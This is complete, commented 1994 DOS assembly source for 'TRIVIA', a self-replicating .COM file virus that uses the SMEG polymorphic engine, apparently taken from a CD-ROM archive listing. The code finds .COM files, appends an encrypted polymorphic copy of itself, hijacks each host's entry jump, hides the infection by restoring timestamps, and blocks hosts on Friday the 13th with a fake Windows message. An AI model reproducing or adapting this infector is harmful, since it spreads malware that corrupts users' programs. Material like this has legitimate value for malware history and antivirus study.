home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SMEGUPD1.ZIP / SMEG03.ZIP / TRIVSMEG.ASM < prev    next >
Assembly Source File  |  1994-06-17  |  15KB  |  403 lines

  1. ;               ┌────────────────────────────────────────┐
  2. ;               │                 TRIVIA                 │
  3. ;               │                 ══════                 │
  4. ;               │ A trivial, direct action .COM infector │
  5. ;               │        (C) The Black Baron 1994        │
  6. ;               └────────────────────────────────────────┘
  7.  
  8. ;This version of TRIVIA uses the SMEG polymorph engine, any differences in
  9. ;this version relating to the SMEG engine are enclosed in   characters
  10.  
  11. ;
  12.     EXTRN    POLYMORPH : NEAR
  13.     EXTRN    ENCRYPT     : NEAR
  14.     EXTRN    JUNK_GEN     : NEAR
  15. ;
  16.  
  17. ;Some EQUates
  18. ;────────────
  19. DTA_OFFSET    EQU    3
  20.  
  21. ;
  22. SMEG_SIZE    EQU    2016
  23. SMEG_BUFFER    EQU    45
  24. JUNK_MAX    EQU    1151
  25. ;
  26.  
  27. CODESG    SEGMENT    BYTE PUBLIC
  28.  
  29. ;We are a .COM, so set up the ASSUMES to reflect this
  30. ;────────────────────────────────────────────────────
  31.     ASSUME    CS:CODESG,DS:CODESG,ES:CODESG,SS:CODESG
  32.  
  33. ;Standard ORG for a .COM
  34. ;───────────────────────
  35.     ORG    100h
  36.  
  37. ;
  38. ;First we MUST relocate as if we are a .COM file starting at CS:100h!
  39. ;────────────────────────────────────────────────────────────────────
  40. BEGIN:    CALL    NEXT_LINE    ;Stack our current location
  41. NEXT_LINE:    POP    AX        ;Fetch our current location
  42.     DEC    AH        ;SUB 256
  43.     MOV    CL,4        ;Count 4
  44.     SHR    AX,CL        ;Divide by 16
  45.     MOV    BX,CS        ;Fetch our CS
  46.     ADD    AX,BX        ;Add CS to our (IP-256) / 4
  47.     PUSH    AX          ;Stack our new CS
  48.     MOV    AX,OFFSET RELOCATED ;Fetch our next IP
  49.     PUSH    AX          ;Stack it
  50.     RETF            ;Far return to the next line!
  51.                 ;This adjusts our CS and our
  52.                 ;IP as if we started at CS:100h
  53.                 ;regardless of our actual IP
  54.                 ;start address (MOD 16).
  55.                 ;Thus relocating us!
  56.  
  57. ;Because we are a .COM we must adjust the other segment registers to equal
  58. ;our new CODE SEGMENT.  But we MUST also save the original CODE SEGMENT by
  59. ;saving the DATA SEGMENT so we can restore all the original segments prior
  60. ;to executing the host
  61. ;─────────────────────────────────────────────────────────────────────────
  62. RELOCATED:    MOV    AX,DS        ;Get original DATA SEGMENT
  63.  
  64.     PUSH    CS        ;Stack new CS
  65.     PUSH    CS        ;And again
  66.     PUSH    CS        ;And again
  67.     POP    DS        ;DS = new CS (we are a .COM)
  68.     POP    ES        ;ES =  "  ""  ""  "  "   "
  69.     POP    SS        ;SS =  "  ""  ""  "  "   "
  70.     PUSH    AX        ;Stack original DATA SEGMENT
  71. ;
  72.  
  73. ;Get and save the hosts original first 3 bytes
  74. ;─────────────────────────────────────────────
  75.     CALL    GO_RESTORE    ;"JMP" over the 1st 3 bytes!
  76.  
  77. ;A store for the hosts first three bytes, just an INT 20h at the mo'
  78. ;───────────────────────────────────────────────────────────────────
  79. FIRST_THREE_STORE:    INT    20h        ;2 bytes
  80.     NOP            ;1 byte
  81.  
  82. GO_RESTORE:    POP    SI        ;Point to the original 1st 3
  83.     CLD            ;Just in case!
  84.     LODSW            ;Get first 2
  85.     XCHG    BX,AX        ;Make BX = AX
  86.     LODSB            ;Get 3rd
  87.     PUSH    AX        ;Save it
  88.     PUSH    BX        ;Save 1st and 2nd bytes
  89.  
  90. ;Now make SI (our work area pointer) = the free space after our code
  91. ;───────────────────────────────────────────────────────────────────
  92.     CALL    SET_SI
  93.  
  94. ;Alter the INT 24h handler to stop any "WRITE PROTECTED" type errors
  95. ;───────────────────────────────────────────────────────────────────
  96.     CALL    GET_PC        ;"JMP" over our INT 24h handler
  97.  
  98. ;Our INT 24h handler, just ignores the error and continues
  99. ;─────────────────────────────────────────────────────────
  100.     XOR    AL,AL        ;Signal IGNORE ERROR
  101.     IRET            ;RETurn from INT 24h
  102.  
  103. ;POP off our INT 24h handlers address and use it to set the INT 24h handler
  104. ;──────────────────────────────────────────────────────────────────────────
  105. GET_PC:    POP    DX        ;Get address of our INT 24h
  106.                 ;DS is already our CS
  107.     MOV    AX,2524h        ;Set INT 24h
  108.     INT    21h        ;Set the interrupt
  109.  
  110. ;Time now to save the hosts DTA and set up our own DTA
  111. ;─────────────────────────────────────────────────────
  112.  
  113. ;
  114.     PUSH    ES        ;Save our current ES for SMEG
  115. ;
  116.  
  117.     MOV    AH,2Fh        ;Get DTA function
  118.     INT    21h        ;Get it!
  119.  
  120. ;
  121.     POP    AX        ;Restore our current ES
  122. ;
  123.  
  124.     PUSH    ES        ;Save hosts DTA segment
  125.     PUSH    BX        ;Save hosts DTA offset
  126.  
  127. ;
  128.     MOV    ES,AX           ;Restore our current ES for SMEG
  129. ;
  130.  
  131.     MOV    DX,SI        ;Get end of our code
  132.     ADD    DX,DTA_OFFSET    ;ADD 3 to it
  133.     MOV    AH,1Ah        ;Set DTA function
  134.     INT    21h        ;Set it!
  135.  
  136. ;Right!  Time to find our first potential victim!  NOTE:  This virus will
  137. ;not infect .COM's with the R/O attribute set, as this is the way that this
  138. ;virus marks infected files!  Also, it only infects ONE file in the CURRENT
  139. ;directory on each run
  140. ;──────────────────────────────────────────────────────────────────────────
  141.     CALL    GET_FIRST    ;"JMP" over the search name!
  142.     DB    '*.COM',0    ;The ASCIIZ search name
  143. GET_FIRST:    POP    DX        ;Get search name address
  144.     MOV    AH,4Eh        ;Search First function
  145.     XOR    CX,CX        ;Signal NORMAL files only
  146. GET_NEXT:    INT    21h        ;Do the search
  147.     JNC    GOT_A_VICTIM    ;OK, found a potential victim!
  148.     JMP    RUN_HOST        ;Run the host, as any errors
  149.                 ;are treated as FILE NOT FOUND,
  150.                 ;NO MORE FILES
  151.  
  152. ;OK, got a potential victim.  Do some checks to see if we can infect
  153. ;───────────────────────────────────────────────────────────────────
  154. GOT_A_VICTIM:    MOV    AL,[SI+DTA_OFFSET+15h]    ;Get attribute
  155.     AND    AL,1                 ;Is it read only?
  156.     MOV    AH,4Fh        ;Prepare for GET NEXT search
  157.     JNZ    GET_NEXT        ;Yes, so can't infect it!  Get
  158.                 ;another potential victim
  159.  
  160.     CMP    WORD PTR [SI+DTA_OFFSET+1Ch],0 ;High size word 0?
  161.     JNZ    GET_NEXT                     ;NO, so get
  162.                              ;another potential
  163.                         ;victim!
  164.  
  165.     CMP    WORD PTR [SI+DTA_OFFSET+1Ah],LARGEST_VICTIM
  166.  
  167.     JAE    GET_NEXT        ;Sorry, .COM too big!  So get
  168.                 ;another potential victim!
  169.  
  170.     CMP    WORD PTR [SI+DTA_OFFSET+1Ah],3  ;Can't infect
  171.                          ;files <3 bytes
  172.  
  173.     JB    GET_NEXT        ;Get another potential victim
  174.  
  175. ;Right, size checks passed.  Now open the victim for READ/WRITE
  176. ;──────────────────────────────────────────────────────────────
  177.     MOV    DX,SI        ;Point to our buffer/DTA
  178.     ADD    DX,DTA_OFFSET+1Eh ;Adjust to point to filename
  179.     MOV    AX,3D02h        ;Open for READ/WRITE access
  180.     INT    21h        ;Open it!
  181.     JNC    OPENED_OK    ;Opened it OK
  182.     JMP    RUN_HOST        ;Failed to open it, run host
  183.  
  184. ;OK, now read in the first 3 bytes and store them for restoring the host
  185. ;───────────────────────────────────────────────────────────────────────
  186. OPENED_OK:    XCHG    BX,AX        ;Get file handle into BX
  187.     MOV    DX,SI        ;Point to our buffer
  188.     SUB    DX,FIRST_THREE    ;Point to our 1st 3 store
  189.     MOV    CX,3        ;Three bytes to read
  190.     MOV    AH,3Fh        ;Read File function
  191.     INT    21h        ;Read 'em!
  192.     JNC    GOT_FIRST_THREE    ;Got first 3 bytes OK
  193.     MOV    AH,3Eh        ;Close function
  194.     INT    21h        ;Close it!
  195.     JMP    RUN_HOST        ;ERROR, so run the host
  196.  
  197. GOT_FIRST_THREE:    CMP    WORD PTR [SI-FIRST_THREE],'ZM'  ;Is it a .EXE in
  198.                          ;disguise?!!!
  199.     JNZ    A_REAL_COM    ;No, it's a .COM
  200. TRY_ANOTHER:    MOV    AH,3Eh        ;Close file function
  201.     INT    21h        ;Close it
  202.     MOV    AH,4Fh        ;GET NEXT function
  203.     JMP    GET_NEXT        ;Try for another victim
  204.  
  205. ;Now move to EOF to calculate the initial JMP and also to append the virus
  206. ;─────────────────────────────────────────────────────────────────────────
  207. A_REAL_COM:    MOV    AX,4202h        ;Move pointer, offset from end
  208.     XOR    CX,CX        ;Zero CX
  209.     CWD            ;Zero DX by sign extending AX!
  210.     INT    21h        ;Move it!
  211.     JC    TRY_ANOTHER    ;ERROR, so try another victim
  212.  
  213. ;
  214. ;First we MUST pad the file so it's size is a multiple of 16, this is to 
  215. ;make relocation a simple task!  Padding is a simple task, thus:
  216. ;───────────────────────────────────────────────────────────────────────
  217.     PUSH    AX        ;Save filesize
  218.     AND    AX,15        ;Mask low four bits
  219.     MOV    CX,AX        ;Make CX = 0 if AX = 0
  220.     JZ    NO_PADDING    ;If already zero no need to pad
  221.     NEG    AX        ;Neg AX!
  222.     ADD    AX,16        ;ADD 16 (same as 16-AX)
  223.     MOV    CX,AX        ;Make CX = padding count
  224. NO_PADDING:    POP    AX        ;Restore original filesize
  225.     ADD    AX,CX        ;Add in padding count
  226.     PUSH    AX        ;Save new END OF FILE
  227.     MOV    AH,40h        ;Write to file
  228.     INT    21h        ;Write CX padding bytes to the
  229.                 ;end of the file, from where-
  230.                 ;ever DX happens to be pointing!
  231.     POP    AX        ;Restore new EOF
  232. ;
  233.  
  234.     SUB    AX,3         ;Adjust for the JMP
  235.     MOV    BYTE PTR [SI],0E9h ;Store the JMP instruction
  236.     MOV    [SI+1],AX     ;Store the JMP offset
  237.     MOV    DX,SI        ;Point to the virus end
  238.     MOV    CX,VIRUS_SIZE    ;CX = the virus length
  239.     SUB    DX,CX        ;SUB length (DX now = BEGIN)
  240.  
  241. ;
  242. ;We must now generate the polymorphic front-end, which includes the decryptor
  243. ;────────────────────────────────────────────────────────────────────────────
  244.     ADD    AX,103h        ;ADD 259 to = start address
  245.     MOV    BP,SI           ;Make BP = our workspace
  246.     ADD    BP,DTA_OFFSET + 128  ;ADD over our DTA/workspace
  247.     MOV    DI,BP           ;Make DI = polymorph workspc
  248.     ADD    DI,SMEG_BUFFER    ;ADD in the 45 byte poly buffer
  249.     PUSH    CX        ;Save size for later
  250.     PUSH    DI        ;Save DI for later
  251.     PUSH    DI        ;Save DI again
  252.  
  253. ;AX = Start address, CX = Virus body length, DX = Virus start address,
  254. ;DI = workspace (2048 bytes max needed), BP = 45 byte SMEG workspace
  255. ;─────────────────────────────────────────────────────────────────────
  256.     CALL    POLYMORPH    ;Generate the decryptor
  257.  
  258.     POP    DX        ;Point to our decryptor
  259.     MOV    CX,[BP+39]    ;Get the decryptor size
  260.  
  261.     MOV    AH,40h        ;Write to file function
  262.     INT    21h        ;Write the decryptor!
  263.  
  264. ;BP MUST = 45 byte SMEG workspace before calling ENCRYPT
  265. ;───────────────────────────────────────────────────────
  266.     CALL    ENCRYPT        ;Encrypt our virus body
  267.     POP    DX        ;Point to our encrypted body
  268.     POP    CX        ;Our virus length
  269.  
  270.     MOV    AH,40h        ;Write to file function
  271.     INT    21h        ;Write the virus body
  272.  
  273. ;BP MUST = 45 byte SMEG workspace before calling JUNK_GEN
  274. ;────────────────────────────────────────────────────────
  275.     CALL    JUNK_GEN        ;Generate some junk
  276.  
  277. ;JUNK_GEN returns CX = junk length DX = junk start, which just happens to be
  278. ;the registers required for a DOS write to file!
  279. ;───────────────────────────────────────────────────────────────────────────
  280.  
  281.     MOV    AH,40h        ;Write to file function
  282.     INT    21h        ;Write the junk
  283. ;
  284.  
  285. ;All file errors from this point are ignored!
  286. ;────────────────────────────────────────────
  287.  
  288. ;Virus appended, now make the 1st 3 bytes = the JMP to the virus code
  289. ;────────────────────────────────────────────────────────────────────
  290.     MOV    AX,4200h        ;Move pointer, offset from top
  291.     XOR    CX,CX        ;Zero CX
  292.     CWD            ;Zero DX
  293.     INT    21h        ;Move it!
  294.     MOV    DX,SI        ;Point to our first three
  295.     MOV    CX,3        ;3 bytes to write
  296.     MOV    AH,40h        ;Write to file function
  297.     INT    21h        ;Write it!
  298.  
  299. ;Restore old date and time from the values in our DTA
  300. ;────────────────────────────────────────────────────
  301.     MOV    CX,[SI+DTA_OFFSET+16h]  ;Get old time
  302.     MOV    DX,[SI+DTA_OFFSET+18h]  ;Get old date
  303.     MOV    AX,5701h              ;Set time/date function
  304.     INT    21h        ;Set it!
  305.     MOV    AH,3Eh        ;Close file function
  306.     INT    21h        ;Close it!
  307.  
  308. ;Now SET the R/O attribute, to prevent further infections of the same file
  309. ;─────────────────────────────────────────────────────────────────────────
  310.     XOR    CH,CH              ;Zero CX high byte
  311.     MOV    CL,[SI+DTA_OFFSET+15h]  ;Get original attribute
  312.     OR    CL,1              ;SET R/O attribute
  313.     MOV    DX,SI        ;Point to our buffer/DTA
  314.     ADD    DX,DTA_OFFSET+1Eh    ;Adjust to point to filename
  315.     MOV    AX,4301h        ;Set Attribute function
  316.     INT    21h        ;Set 'em!
  317.  
  318. ;See if we need to deliver out trivial payload!
  319. ;──────────────────────────────────────────────
  320. RUN_HOST:    MOV    AH,2Ah        ;Get system date function
  321.     INT    21h        ;Get it!
  322.     CMP    AL,5        ;Is it a FRIDAY?
  323.     JNZ    NO_PAYLOAD    ;Nope!  So no payload
  324.     CMP    DL,13        ;Is it the 13th
  325.     JNZ    NO_PAYLOAD    ;Nope!  So no payload
  326.  
  327. ;Our trivial payload is delivered on FRIDAY the 13ths!  (original, eh?!!)
  328. ;No damage occurs, we just print a message and don't allow the host to run,
  329. ;The message is the same as the one you get trying to run a windows program
  330. ;under DOS!
  331. ;──────────────────────────────────────────────────────────────────────────
  332.     CALL    DUMP_MESSAGE    ;"JMP" over the message
  333.  
  334.     DB    'This program requires Microsoft Windows.'
  335.     DB    13,10,'$'
  336.  
  337. DUMP_MESSAGE:    POP    DX        ;Point to the message
  338.     MOV    AH,9        ;DOS print string
  339.     INT    21h        ;Print it!
  340.     MOV    AX,4C00h        ;Terminate, return 0
  341.     INT    21h        ;Terminate!
  342.  
  343. ;Time to run the host, first we must restore it's original 1st 3 bytes
  344. ;─────────────────────────────────────────────────────────────────────
  345. NO_PAYLOAD:    POP    DX        ;Restore original DTA address
  346.     POP    DS        ;Restore original DTA segment
  347.     MOV    AH,1Ah        ;Set DTA function
  348.     INT    21h        ;Set it!
  349.  
  350.     MOV    DI,100h        ;Point to the first byte
  351.     POP    AX        ;Get 1st and 2nd bytes
  352.     POP    BX        ;Get 3rd byte
  353.  
  354. ;
  355.     POP    CX        ;Get original DATA SEGMENT
  356.     MOV    DS,CX        ;Make DS = original DS
  357.     MOV    ES,CX        ;Make ES = original ES
  358.     MOV    SS,CX        ;Make SS = original SS
  359. ;
  360.  
  361.     STOSW            ;Restore original 1st/2nd bytes
  362.     XCHG    BX,AX        ;Get 3rd byte
  363.     STOSB            ;Restore it
  364.  
  365. ;
  366.     PUSH    DS        ;Stack original CS
  367.     MOV    SI,0100h        ;Stack start address for .COM
  368.     PUSH    SI        ;Stack it
  369.     RETF            ;RUN the .COM and restore CS
  370. ;
  371.  
  372. ;Set up SI to some free space
  373. ;────────────────────────────
  374. SET_SI:    CALL    THE_END
  375. THE_END:    POP    SI        ;SI now = this point
  376.  
  377. ;
  378.     ADD    SI,5+SMEG_SIZE+1
  379.                 ;Skip over the POP, ADD & RET
  380.                 ;Also skip over SMEG
  381.     RET            ;Back to our caller
  382.  
  383. ;An EQUate used to point to a 3 byte store space, for the hosts 1st 3 bytes
  384. ;──────────────────────────────────────────────────────────────────────────
  385. FIRST_THREE    EQU    $+SMEG_SIZE-FIRST_THREE_STORE
  386.  
  387. ;Some more equates
  388. ;─────────────────
  389. VIRUS_SIZE    EQU    $+SMEG_SIZE-BEGIN
  390.                 ;The virus size
  391. LARGEST_COM    EQU    65279-256    ;Largest .COM - our stack & DTA
  392.  
  393. LARGEST_VICTIM    EQU    LARGEST_COM-VIRUS_SIZE - SMEG_SIZE-JUNK_MAX
  394.                 ;Our largest victim
  395. ;
  396.  
  397. ;SI = this point + SMEG, I.E. the free space after all the program code
  398. ;──────────────────────────────────────────────────────────────────────
  399.  
  400. CODESG    ENDS
  401.  
  402.     END    BEGIN
  403.